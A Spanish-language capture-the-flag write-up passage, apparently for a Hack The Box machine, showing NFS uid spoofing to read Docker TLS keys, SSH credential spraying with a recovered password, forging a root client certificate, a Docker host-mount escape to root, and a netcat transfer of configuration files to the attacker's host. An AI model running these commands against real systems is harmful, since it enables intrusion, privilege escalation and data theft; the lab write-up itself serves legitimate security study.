 mail          Makefile   mount.x        mount_clnt.o   mount_xdr.c   nfs_prot.h   nfs_prot_clnt.c   nfs_prot_svc.c   nfs_prot_xdr.o   nfsshell.c   READ_ME     steal.c
 LICENSE.txt   mount.h    mount_clnt.c   mount_svc.c    mount_xdr.o   nfs_prot.x   nfs_prot_clnt.o   nfs_prot_xdr.c   nfsshell         nfsshell.o   README.md  
❯

Ejecutamos, agregamos el host y montamos el recurso.

❯ ./nfsshell
nfs> host
Usage: host <host>
nfs> host 172.18.0.1
Using a privileged port (1021)
Open 172.18.0.1 (172.18.0.1) TCP
nfs> export
Export list for 172.18.0.1:
/srv/web.fries.htb       * 
nfs> mount /srv/web.fries.htb
Using a privileged port (1020)
Mount `/srv/web.fries.htb', TCP, transfer size 524288 bytes.
nfs>

Files

Con ello observamos la carpeta certs, que luego logramos acceder tras especificar: uid 0 y gid 59605603. Se muestran unicamente certificados y un archivo de ‘configuracion’ para estos.

nfs> ls -l
drw-r-xr-x  5      655     0      4096  May 28  2025  .
drw-r-xr-x  5      655     0      4096  May 28  2025  ..
drwxrwx---  2        059605603      4096  May 31  2025  certs
drwxrwxrwx  2        0     0      4096  Nov 27  2025  shared
drwxr-----  5     1000  1000      4096  Jun  7 07:32  webroot
nfs> uid 0
nfs> gid 59605603
nfs> ls certs
certs
nfs> cd certs
nfs> ls
.
..
ca-key.pem
ca.pem
server-cert.pem
server-key.pem
server-openssl.cnf
server.csr
nfs>
nfs> cat server-openssl.cnf
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = fries

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = web
IP.1 = 127.0.0.1
nfs>

nfs> ls
.
..
ca-key.pem
ca.pem
server-cert.pem
server-key.pem
server-openssl.cnf
server.csr
nfs> cat ca-key.pem
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCNI/v5iPB/pLeI
5cmnUE1BUZsF05mT1I58Jeil4jgPGr8INb3/dG1d8ypKk4I3Q2FXAOgrlLOVW2ze
NWHPBE0alvTFu8Okkey7bsXU5Nxf32dWq+jin5gjKToXbEFU6o48SpZZDuWVuo7Q
4N7T/0Rv6ZJTpd5r7u2VQV6ahqBdtRHoNCR/niByKBLBSqFX+1kwCJdu4OqCaJNS
VUGBj/QmDIS91vrbF1pk68Y7/uScMX8QzehT/+T/XuBlXx6SuuHWtIZ4H5fJftKf
dkRUHdkGRCbPF/y/9j/FDDdkBgvfTvLu0Lh9p3bqZPMwmi8kONfsBPgSl1C5ww//
WPcU6e+hAgMBAAECggEAD6RARYxOkubPTEWjDn7QwP9pPcEQkRiKXenZmaCzc8EU
ELXcA5aElFfhhPhKAxPdksXP9Rx6tn+2Vf32g/nHDb5TDCLd8LwXT0JcfFaMsbdR
fYJ5wbvMIYFtJbFioCWKc9YUSXRkLy7Iqw9wwm/Uxs5M4CZOuwl0nQjskhV/akL/
u3qqOcBcwq0DpZv4Dw6husKcrSlf7q6jU64eJZ2pfZxBalkMRddMvMiUL4lu3Rzz
eUP7Ffjoc9C2EVyC0XtJzT0Ur+lRLdiYS42oJN0O1V8C4+VKw7XB7+o5OW/bUx5w
CFQQ7KfKuB5Mvr+xcz2sPMQ4PL76L+/FSlAgBFk2/QKBgQC3dzdeJEh0Fw3RlwRJ
S7PRS40kVIjRqmEw3RK48K0/B03B08ExMhFZpZ29C+c1ZzWJBV/PYUEUckuYssiq
ELHUlOtoZtxGlWFLFQj0p84CiCFi9qCBVSB/CX5IDCHR5OcFjr9w0q/DTKkUlUZN
QfPHH6DfA1lTV9xY8kg08rhnVwKBgQDE8P2zoDjbugfzLS23xz29WT506JLHvPlk
I4GPuwM8osExSYSePVvGKeGL2E4pkNhFM7ydnsBrygwO+35f/o9MVK6mQz5GD0pA
y2OhAVIjvUTW/PDrpOdjjPy/PjGIKDxSOcAYzIhpxsvOWymUKo6uF0Zrbu46U+jb
bFLn1NFdxwKBgQCACYIpgDbUVdZ+A9+o610V3p0k0p4dfMORX2eWi9jMWOOKNqbo
F2IGZ0+bRHhaS6oP8yE3UE8j3tQlP/hMv5ProPZdCRQHam7ZAFgcrhNWrvxl3WqM
eAVSwyRPUbA0lIQp28J9EXw6VwDU7Yx/lFx2Bfu2R9cKFBIiPQvpb88DxwKBgQCF
S2sbWZVCOq5Iy8pGueaysqWQMR2vbNsLCPEXHAd70diaiFznUTY9cHlE0plMjsmi
RPsjX6BzFCSHO3b0d/H7QtGWnKqYdp7WLhL3lVJH+EGQlVBm3YzzFyi2M90If9sb
+BRpdH3bwf6NY6xHqWo6sGwsKL+64LIZWT7fxG4UXwKBgQCXjc0iXHVgMqo2v11L
9StL0BZc6xs3VL3zn6E/Sf4ptLfOzr1Z31Owk6it2CwH5QMe2237H7DoTaGdkFpF
moYR5629rNQ8dajTcwTK9f3Vm5Yp8YI290ExIovgF4fS2H1od+YD5Hk2qSlUWDEf
lEFleRF3JdlTO+d45SX4WoO0Fg==
-----END PRIVATE KEY-----
nfs> cat ca.pem
-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIUSlcqOqok3HQM9woDn1LzVmcwXLUwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwwIRG9ja2VyQ0EwHhcNMjUwNTI2MTcxMDU4WhcNMjYwNTI2
MTcxMDU4WjATMREwDwYDVQQDDAhEb2NrZXJDQTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAI0j+/mI8H+kt4jlyadQTUFRmwXTmZPUjnwl6KXiOA8avwg1
vf90bV3zKkqTgjdDYVcA6CuUs5VbbN41Yc8ETRqW9MW7w6SR7LtuxdTk3F/fZ1ar
6OKfmCMpOhdsQVTqjjxKllkO5ZW6jtDg3tP/RG/pklOl3mvu7ZVBXpqGoF21Eeg0
JH+eIHIoEsFKoVf7WTAIl27g6oJok1JVQYGP9CYMhL3W+tsXWmTrxjv+5JwxfxDN
6FP/5P9e4GVfHpK64da0hngfl8l+0p92RFQd2QZEJs8X/L/2P8UMN2QGC99O8u7Q
uH2ndupk8zCaLyQ41+wE+BKXULnDD/9Y9xTp76ECAwEAAaNTMFEwHQYDVR0OBBYE
FBrssmkRFMv4JxsJiOROQ5W3X/TlMB8GA1UdIwQYMBaAFBrssmkRFMv4JxsJiORO
Q5W3X/TlMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFKHOUWX
+q12Vpxg7It+ENlpNarimsTmsrCoRcAkEQnHPQsC2yY3NSMV0ZnYRBx/OtyG++lI
d7af8KU5E8IDbQQTtHWSWy0WD1QbBrIkgnsI48MLTfk/4eDbJ5dM1baEmhK/DEAP
cqGC0GMZ0N600mNysj6QZ+FUfy6YjqZS3HH0hz3yhWwNpaZUCS83H5LPamdX2ET0
9Jto+nDRYvj1hrtDR2aJQ98gTkMlO6QMOefaPeMemo07hBs0dgyWiEmKD8WBxW0h
1LIWU9eWw1kFa27lw/oA4ZaH48K2a4TpAJPfnGGAEQDHA+tytgqUpk+2j6Zb6g11
y9tT1WDrTzwdNtk=
-----END CERTIFICATE-----
nfs> cat server-cert.pem
-----BEGIN CERTIFICATE-----
MIIDCTCCAfGgAwIBAgIUG5nEEOe5rMudvK9SoSMUDkxjukEwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwwIRG9ja2VyQ0EwHhcNMjUwNTI2MTcxMjQyWhcNMjYwNTI2
MTcxMjQyWjAQMQ4wDAYDVQQDDAVmcmllczCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJijWsBsMAbc61bgwGH3DfhmmCKFmh7hIcRwhjHqkrhP59IbKC0c
z6e78z41fXXfPTTRaHX/fY9mYDVjphGzsHldlM/ExGqNC3sNz8neZFUGQ5wU3DmP
2Obb7fFdunW7Ja1FMZZsbD4gYyu4zge1SX1br0sJV8TtVayGb095fKwlTJ+jCq5t
WleN++U4h+ZzP7X8CE8ILKBx5eqRbeVcynlyUYFXco0YGyluiHm2jzF5fqikcApc
YmlChVYTwW/MsZoEW8sYVZoUnn5pt2nQeORvlnfS2LUqW1uYjtNG89mS9RM+ho75
rK6TkONizMntJuGs9di118uu8eFDo88m3jcCAwEAAaNYMFYwFAYDVR0RBA0wC4ID
d2VihwR/AAABMB0GA1UdDgQWBBQmv9PLLwJOSaHH1brbMcEsKWtUbjAfBgNVHSME
GDAWgBQa7LJpERTL+CcbCYjkTkOVt1/05TANBgkqhkiG9w0BAQsFAAOCAQEAVmgr
T8Mk6GA9poX30ZZxXezpM3KEF8I2H/7JhRKTqQ6WbkurH49H/t4onVpohyCvubgx
Zsj7n9gIg76EVhEUuKO3KA1XPBWDdhJGTrbgKM8jO2xOAs1uq4NkjTSLTLH8ZIFW
ExqKdkccmXQwhSZZkclfX7FvdLNRr/prNNpOAU4FpEKw+sZEV7O/MXARgZWd2WN2
TArhKXNdqlKcza8jVW6tYM/pIjv8OMBvG/4dj4HeNMD1aR7LzeVLxOGA39ljeFqN
BPAPYGesmQddqXz8LiTfaT6+PbOzSCM67yv7w4LXPAMMvz2ijdI+JdHd8/ikRpcx
spLBZWYBH+iwwkdPFA==
-----END CERTIFICATE-----
nfs> cat server-key.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCYo1rAbDAG3OtW
4MBh9w34ZpgihZoe4SHEcIYx6pK4T+fSGygtHM+nu/M+NX113z000Wh1/32PZmA1
Y6YRs7B5XZTPxMRqjQt7Dc/J3mRVBkOcFNw5j9jm2+3xXbp1uyWtRTGWbGw+IGMr
uM4HtUl9W69LCVfE7VWshm9PeXysJUyfowqubVpXjfvlOIfmcz+1/AhPCCygceXq
kW3lXMp5clGBV3KNGBspboh5to8xeX6opHAKXGJpQoVWE8FvzLGaBFvLGFWaFJ5+
abdp0Hjkb5Z30ti1KltbmI7TRvPZkvUTPoaO+ayuk5DjYszJ7SbhrPXYtdfLrvHh
Q6PPJt43AgMBAAECggEACgTpS/LE6EePyopCf7Tci3gK0wXbeLhJkZJtTJpbn23e
K9IM0FyxEeqOkMmEESqG4v31pGpavJMd55WKfz/TRhi9dJ+hKh3nKXLLpQ2VVdba
/rH2IQLc7mlP4hw1Dl/iCtCdNfKrJWX6jskmjiYdyz4GucPEzh30XwHDe0hyoP4H
Px0iI4z2mIxr58qIlfti4OGA97BZJJfqOnJwxCNYK1BpgjGKQITuDs9hKmGUzSY5
FsHZ+Dzvs/rfEc/S4X98KB58QsGS2h4nGwKzs+YmFrQQ+F0haF1QMWQkwCOOaVmq
FFIAWwO/mYeg087n3ym1Mg5mchrBN53DdYfbyftHqQKBgQDNyOp2MTHB7qtgJwEu
nGYSXclUitdkqpzYXhBioY/z0MaJBAci88PcCyT+hGGOu1zWbz4x4o3M/XzNV/UF
0dEB0tp7wwN6hFLmpfApR/zqYGppMykSS8BD8L0eUMP2Dj3ukFSTuuUPXfPwo0BG
lygBnyZM2YRheGTTKtXhPX8Q8wKBgQC94nBP9kBbGg9bloXg43WU3+YUlbh415Bq
WmZp6NaJh6A3BYKlbLY9p5Df9p0iEOtcYG61l/Y8v7BIsgFyeD22HAlVwqcRUyCd
Dod0dNePwddOYXfX66d0bB7woh5JPY9LGdMIA0Pe6Vgzw8smV4msrswaXaXZ/VnV
m/zefQBurQKBgECKBM6wuxRBkEoFsZ82ueSEuYHkUY1m3O4XAjiMxyMGlV2ff8V8
gi7e5+lTB23GYWV3WiA3F5X04lFchqIendhekttB3DNukLl5zYqE41N2jakUvIra
ayBjvkxltC/VY6MQbRYwBWr+YmVULfJ1sbxgd5iel6AiLCz2QEH2EYX1AoGAf/ZK
I8jaY8pzERCmFgCTK4mbXsHq+Byk6NcU70iG01W/xXSEL4DMa04yFov2Jo/qXG1s
DhpjSVsQrFyxFvgq9j98lvu/ZLB1aQHyjKt03R8PPnX2sl7PkWiPjTBjYo4Gs+Cq
U1sH8P+lffTzQVp6oBGH4Di93OKcGJSvWyw4D10CgYAs4XQglmpsUBmY/HtlDPiy
VSSnFn9c1rowAK1MJEi6l0S1lZXVdKMVqV6E/i58LGqoqUXoHlvERfKI8FHp9nKQ
Sf00DSOC7W8uqlWsWSOh9EaCdIcSLSGK4qaXcjwATeiNnt4BMnWxikqc7OxuE807
HmwL9/U//oQhCT0X9pXTww==
-----END PRIVATE KEY-----
nfs> cat server-openssl.cnf
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = fries

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = web
IP.1 = 127.0.0.1
nfs> cat server.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICfDCCAWQCAQAwEDEOMAwGA1UEAwwFZnJpZXMwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCYo1rAbDAG3OtW4MBh9w34ZpgihZoe4SHEcIYx6pK4T+fS
GygtHM+nu/M+NX113z000Wh1/32PZmA1Y6YRs7B5XZTPxMRqjQt7Dc/J3mRVBkOc
FNw5j9jm2+3xXbp1uyWtRTGWbGw+IGMruM4HtUl9W69LCVfE7VWshm9PeXysJUyf
owqubVpXjfvlOIfmcz+1/AhPCCygceXqkW3lXMp5clGBV3KNGBspboh5to8xeX6o
pHAKXGJpQoVWE8FvzLGaBFvLGFWaFJ5+abdp0Hjkb5Z30ti1KltbmI7TRvPZkvUT
PoaO+ayuk5DjYszJ7SbhrPXYtdfLrvHhQ6PPJt43AgMBAAGgJzAlBgkqhkiG9w0B
CQ4xGDAWMBQGA1UdEQQNMAuCA3dlYocEfwAAATANBgkqhkiG9w0BAQsFAAOCAQEA
RGBUZUP4cRWuxCpStukE+4I9uEEY7bvuzutEg6E5YZyhvYWS0KV0BsqrFkuvdOIl
A/7O667M23Rh9tfK5zLGAME8V4e0jHc2lCyYbAsYutF6rAU/ku25dJxWhJ8nbE3Y
ztEo+kk9CMIrq/k1P5eaJhEv9YWNufThDLlEY/zrJ38MRjOdLLQ+o27sMucEiAuU
1794PaurMGuPFaBiTHV9KVAkGtFSoPxUkicdNqCTW8wtvKizeDuMYdOY6UppwrQd
wJIvS3b8nTRqArDwG0eV3UbPyZz9aIxdJUAmIDKcX54MOrCDa+iC9OGLgbYiAcw6
WG3TBMG+adCxiIT2IbVpBg==
-----END CERTIFICATE REQUEST-----
nfs>

User - svc

Ejecutamos netexec especificando el wordlist de usuarios y contrasenas que encontramos. Se logro identificar un par de credenciales validos para el puerto SSH la cual identificamos en el host pgAdmin.

1
2
3

❯ netexec ssh fries.htb -u users.txt -p pass.txt | grep '[+]'
SSH                      10.10.11.96   22     fries.htb        [+] svc:Friesf00Ds2025!!  Linux - Shell access!
❯

Logrando el acceso como svc por SSH a lo que parece ser un host linux.

❯ ssh svc@10.10.11.96
The authenticity of host '10.10.11.96 (10.10.11.96)' can't be established.
ED25519 key fingerprint is: SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.96' (ED25519) to the list of known hosts.
svc@10.10.11.96's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Nov 23 07:46:53 AM UTC 2025

  System load:  0.03               Processes:             183
  Usage of /:   66.8% of 13.67GB   Users logged in:       0
  Memory usage: 53%                IPv4 address for eth0: 192.168.100.2
  Swap usage:   0%

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Nov 19 20:53:19 2025 from 10.10.14.77
svc@web:~$ whoami;id;pwd
svc
uid=1000(svc) gid=1000(svc) groups=1000(svc)
/home/svc
svc@web:~$

Localmente existen varios puertos abiertos.

svc@web:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:51883           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:53801           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5050          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8443            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43041         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:222           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2376          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:49637           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:43441           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.18.0.1:3000         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:38133           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::39699                :::*                    LISTEN      -                   
tcp6       0      0 :::49967                :::*                    LISTEN      -                   
tcp6       0      0 :::8443                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::45087                :::*                    LISTEN      -                   
tcp6       0      0 :::2049                 :::*                    LISTEN      -                   
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::39219                :::*                    LISTEN      -                   
tcp6       0      0 :::38347                :::*                    LISTEN      -                   
svc@web:~$

Docker Access

Observamos que uno de los procesos de root es docker. En uno de estos ejecutando el demonio de docker con certificados o con autenticacion TLS de manera segura.

svc@web:~$ ps -ef |grep root
root           1       0  0 04:51 ?        00:00:05 /sbin/init
# [... cut ...]
root         915       1  0 04:52 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         928       1  0 04:52 ?        00:00:11 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
root         940       1  0 04:52 ?        00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root         978       1  0 04:52 ?        00:00:00 /usr/libexec/sssd/sssd_nss --logger=files --socket-activated
root        1037     701  0 04:52 ?        00:00:00 sshd: svc [priv]
root        1304       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id b916aad508e295f13cc6d9a1133358d0a295f4b056d16d6230371d3637010dbe -address /run/containerd/containerd.sock
root        1305       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f427ecaa3bdddcca33553c3a27f9e139013b55cc9b4aeeeefbad93669869ade6 -address /run/containerd/containerd.sock
root        1308       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 858fdf51af59c1a3024c715c736715b6044bd897807150e6334c96d81ab15854 -address /run/containerd/containerd.sock
root        1312       1  0 04:52 ?        00:00:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id bfe752a2669509ac0306304eb950b703f96849b05e26d209e53d9f6e04787b29 -address /run/containerd/containerd.sock
root        1392    1304  0 04:52 ?        00:00:00 /bin/s6-svscan /etc/s6
root        1394    1312  1 04:52 ?        00:01:03 /usr/local/bin/python3 run.py
root        1395    1305  0 04:52 ?        00:00:00 bash /app/startup.sh
root        1497     928  0 04:52 ?        00:00:02 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8443 -container-ip 172.18.0.6 -container-port 8443 -use-listen-fd
root        1504     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8443 -container-ip 172.18.0.6 -container-port 8443 -use-listen-fd
root        1549     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 222 -container-ip 172.18.0.5 -container-port 22 -use-listen-fd
root        1553     928  0 04:52 ?        00:00:04 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.18.0.5 -container-port 3000 -use-listen-fd
root        1558     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.18.0.1 -host-port 3000 -container-ip 172.18.0.5 -container-port 3000 -use-listen-fd
root        1584    1395  2 04:52 ?        00:02:36 java -server -Xmx1g -Xms1g -Xlog:gc:file=/config/logs/gc.log:time,uptime,level,tags:filecount=10,filesize=10M -jar /app/libs/pwm-onejar-2.0.8.jar -applicationPath /config
root        1590     928  0 04:52 ?        00:00:26 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5000 -container-ip 172.18.0.2 -container-port 5000 -use-listen-fd
root        1596    1392  0 04:52 ?        00:00:00 s6-supervise gitea
root        1597    1392  0 04:52 ?        00:00:00 s6-supervise openssh
root        1599    1597  0 04:52 ?        00:00:00 sshd: /usr/sbin/sshd -D -e [listener] 0 of 10-100 startups
root        1714       2  0 04:52 ?        00:00:00 [kworker/R-tls-s]
root        1760       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id cb46692a4590a41ead23e1b75e950dca1a67b65fe486d3fb87a4227548ed3f36 -address /run/containerd/containerd.sock
root        1815     928  0 04:52 ?        00:00:02 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5050 -container-ip 172.18.0.4 -container-port 80 -use-listen-fd
lxd         3116    1393  0 05:13 ?        00:00:00 postgres: root postgres 172.18.0.4(48736) idle
# [... cut ...]
svc        38565   38282  0 06:30 pts/2    00:00:00 grep --color=auto root
svc@web:~$

Port Forwarding

Anteriormente encontramos certificados en un recurso de NFS, es posible que estos nos permitan el acceso a docker. Iniciamos obteniendo el puerto 2376 localemente.

❯ ssh svc@fries.htb -L 2376:127.0.0.1:2376 -fN
svc@fries.htb's password: 
❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:60239           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:45143         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2376          0.0.0.0:*               LISTEN      81138/ssh           
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 ::1:2376                :::*                    LISTEN      81138/ssh           
tcp6       0      0 :::34577                :::*                    LISTEN      -                   
❯

Nos basamos de la documentacion de docker (Protect the Docker daemon socket) para crear un nuevo certificado cliente para el usuario root. Se firma este ultimo con el Certificate Authority.

# Commands
openssl genrsa -out key.pem 4096
openssl req -subj '/CN=root' -new -key key.pem -out client.csr
openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem 
# Sign certificate
❯ openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem
Certificate request self-signature ok
subject=CN=root
❯

Ejecutamos docker especificando certificados y version, muestra version 27.5.1+dfsg3.

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 version
Client:
 Version:           27.5.1+dfsg3
 API version:       1.47
 Go version:        go1.24.9
 Git commit:        cab968b3
 Built:             Thu Oct 30 01:09:57 2025
 OS/Arch:           linux/amd64
 Context:           default

Server:
 Engine:
  Version:          28.2.2
  API version:      1.50 (minimum version 1.24)
  Go version:       go1.23.1
  Git commit:       28.2.2-0ubuntu1~22.04.1
  Built:            Wed Sep 10 14:50:16 2025
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.7.28
  GitCommit:        
 runc:
  Version:          1.3.3-0ubuntu1~22.04.2
  GitCommit:        
 docker-init:
  Version:          0.19.0
  GitCommit:        
❯

Vemos los contenedores en ejecucion y las imagenes existentes.

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 ps
CONTAINER ID   IMAGE                   COMMAND                  CREATED        STATUS       PORTS                                                                        NAMES
f427ecaa3bdd   pwm/pwm-webapp:latest   "/app/startup.sh"        5 months ago   Up 2 hours   0.0.0.0:8443->8443/tcp, :::8443->8443/tcp                                    pwm
cb46692a4590   dpage/pgadmin4:9.1.0    "/entrypoint.sh"         6 months ago   Up 2 hours   443/tcp, 127.0.0.1:5050->80/tcp                                              pgadmin4
bfe752a26695   fries-web               "/usr/local/bin/pyth…"   6 months ago   Up 2 hours   127.0.0.1:5000->5000/tcp                                                     web
858fdf51af59   postgres:16             "docker-entrypoint.s…"   6 months ago   Up 2 hours   5432/tcp                                                                     postgres
b916aad508e2   gitea/gitea:1.22.6      "/usr/bin/entrypoint…"   6 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 images
REPOSITORY       TAG       IMAGE ID       CREATED         SIZE
<none>           <none>    a35a9aa8056b   8 days ago      513MB
fries-web        latest    192168217481   6 months ago    151MB
postgres         16        616e340baeac   6 months ago    436MB
dpage/pgadmin4   9.1.0     b2e76a3c5433   9 months ago    513MB
pwm/pwm-webapp   latest    6b2bacb1343e   9 months ago    378MB
gitea/gitea      1.22.6    dfd595e2afd4   11 months ago   167MB
❯

root via Docker - Host Linux

Escalamos privilegios a traves de docker logrando el acceso root y la flag user.txt.

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 run -v /:/mnt --rm -it fries-web chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
scripts  snap  user.txt
# cat user.txt
7a49c7f1514a7193ae47dc05cac6b17b
#

Pwm Credentials

Como root encontramos el directorio con la configuracion para pwn. Agregamos la carpeta a un archivo .tar.

# pwd       
/root/scripts/pwm/config
# ls -lah
total 160K
drwxr-xr-x 6 root root 4.0K Nov 12 01:38 .
drwxr-xr-x 4 root root 4.0K Nov 12 01:28 ..
drwxr-xr-x 3 root root 4.0K Jun  1 02:03 LocalDB
-rw-r--r-- 1 root root 131K Nov 12 01:38 PwmConfiguration.xml
-rw-r--r-- 1 root root  149 Nov 28 04:54 applicationPath.lock
drwxr-xr-x 2 root root 4.0K Nov 12 01:37 backup
drwxr-xr-x 2 root root 4.0K Nov 28 04:52 logs
drwxr-xr-x 2 root root 4.0K Jun  1 02:03 temp
# cd ..
# tar -cvf pwm.tar pwm/   
pwm/
pwm/config/
pwm/config/PwmConfiguration.xml
pwm/config/applicationPath.lock
pwm/config/LocalDB/
pwm/config/LocalDB/xodus/
pwm/config/LocalDB/xodus/xd.lck
pwm/config/LocalDB/xodus/00000000g00.xd
pwm/config/LocalDB/xodus/README.TXT
pwm/config/LocalDB/xodus/00000000000.xd
pwm/config/LocalDB/xodus/00000000800.xd
pwm/config/LocalDB/xodus/xodus.open
pwm/config/logs/
pwm/config/logs/gc.log.4
pwm/config/logs/gc.log.2
pwm/config/logs/gc.log
pwm/config/logs/gc.log.9
pwm/config/logs/gc.log.8
pwm/config/logs/gc.log.7
pwm/config/logs/gc.log.1
pwm/config/logs/PWM.log
pwm/config/logs/gc.log.0
pwm/config/logs/gc.log.5
pwm/config/logs/gc.log.6
pwm/config/logs/gc.log.3
pwm/config/temp/
pwm/config/backup/
pwm/config/backup/PwmConfiguration.xml-backup
pwm/pwm-workpath/
# nc -w 3 10.10.15.134 1234 < pwm.tar

Tras extraer los archivos localmente observamos logs, backup y la configuracion.

❯ nc -lvp 1234 > pwm.tar
listening on [any] 1234 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49862
❯ tree .
.
├── config
│   ├── applicationPath.lock
│   ├── backup
│   │   └── PwmConfiguration.xml-backup
│   ├── LocalDB
│   │   └── xodus
│   │       ├── 00000000000.xd
│   │       ├── 00000000800.xd
│   │       ├── 00000000g00.xd
│   │       ├── README.TXT
│   │       ├── xd.lck
│   │       └── xodus.open
│   ├── logs
│   │   ├── gc.log
│   │   ├── gc.log.0
│   │   ├── gc.log.1
│   │   ├── gc.log.2
│   │   ├── gc.log.3
│   │   ├── gc.log.4
│   │   ├── gc.log.5
